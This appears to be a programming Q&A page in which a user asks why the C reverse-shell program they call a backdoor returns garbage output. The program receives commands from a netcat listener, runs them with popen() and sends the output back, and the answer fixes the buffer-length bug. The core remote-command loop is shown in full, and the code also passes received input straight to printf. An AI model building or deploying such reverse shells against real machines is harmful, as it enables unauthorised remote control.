Search code examples
csocketspopen

How can I clean up the popen output of my C program?


I am rewriting a simple reverse-shell program I made in python, now in C.

The program is supposed to be trying to connect to a host(netcat listening on the specified port) and then take the output from nc, sent over a tcp socket, and make a system call using popen() and then send back the terminal output via the socket connection to nc where it is displayed.

When I try sending commands the program returns what I requested, but also some giberish.

Ex.: /Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?

(Output from nc in terminal, this was a 'pwd' command)

I also seem to have some kind of problem where a buffer isn't cleared? When I use the 'say' command(say [sentence] ) MacOS is supposed to use voice the sentence. This happens, but only the 2 first letters of the argument after 'say'(the 2 first characters of the sentence) and then says an earlier string. ('Successfully connected!')

Ex.: (command: 'say hello')

heSuccessfully connected!

I have tried to open the FILE stream in different places and

Code (after socket setup and connection):

    const char conMsg[25] = "Successfully connected!\n";

    send(netSock, conMsg, sizeof(conMsg), 0);
    printf("Sent message...\n");
    
    // variable setup
    char command[] = "clear";
    char buffer[256];
    const char INPUTFIELD[3] = "\n> ";
    
    // requests loop
    while (1) {
        send(netSock, INPUTFIELD, sizeof(INPUTFIELD), 0);
        
        // recv command
        recv(netSock, &command, sizeof(command), 0);
        printf("recived command...\n");
        printf(command);
        
        // exit check
        if ( strncmp(command, ":exit", 5) == 0) {
                close(netSock);
                exit(0);
        } else {
            
            // stream init
            FILE *in;

            in = popen(command, "r");
        
            // popen output, send to host
            while ( fgets(buffer, sizeof(buffer), in) != NULL) {
                send(netSock, buffer, sizeof(buffer), 0);
            }
            pclose(in);
        }
    }
    
    return 0;

How I use the program:

  • nc -l [specified port] (MAC or Linux terminal command(maybe Windows aswell))
  • Start binary (should not matter as I plan to have it try to connect, but that functonality is lacking as of now)

Solution

  • I think your main issue is here:

            // popen output, send to host
            while ( fgets(buffer, sizeof(buffer), in) != NULL) {
                send(netSock, buffer, sizeof(buffer), 0);
            }
    

    fgets will read just to an end of line (including the end of line character) and then null terminate. Unless a line exceeds the buffer size, it won't fill the buffer completely. Your send call is sending the entire buffer regardless, including any uninitialized gibberish that may be past what fgets read. This might work better:

            // popen output, send to host
            while ( fgets(buffer, sizeof(buffer), in) != NULL) {
                send(netSock, buffer, strlen(buffer), 0);
            }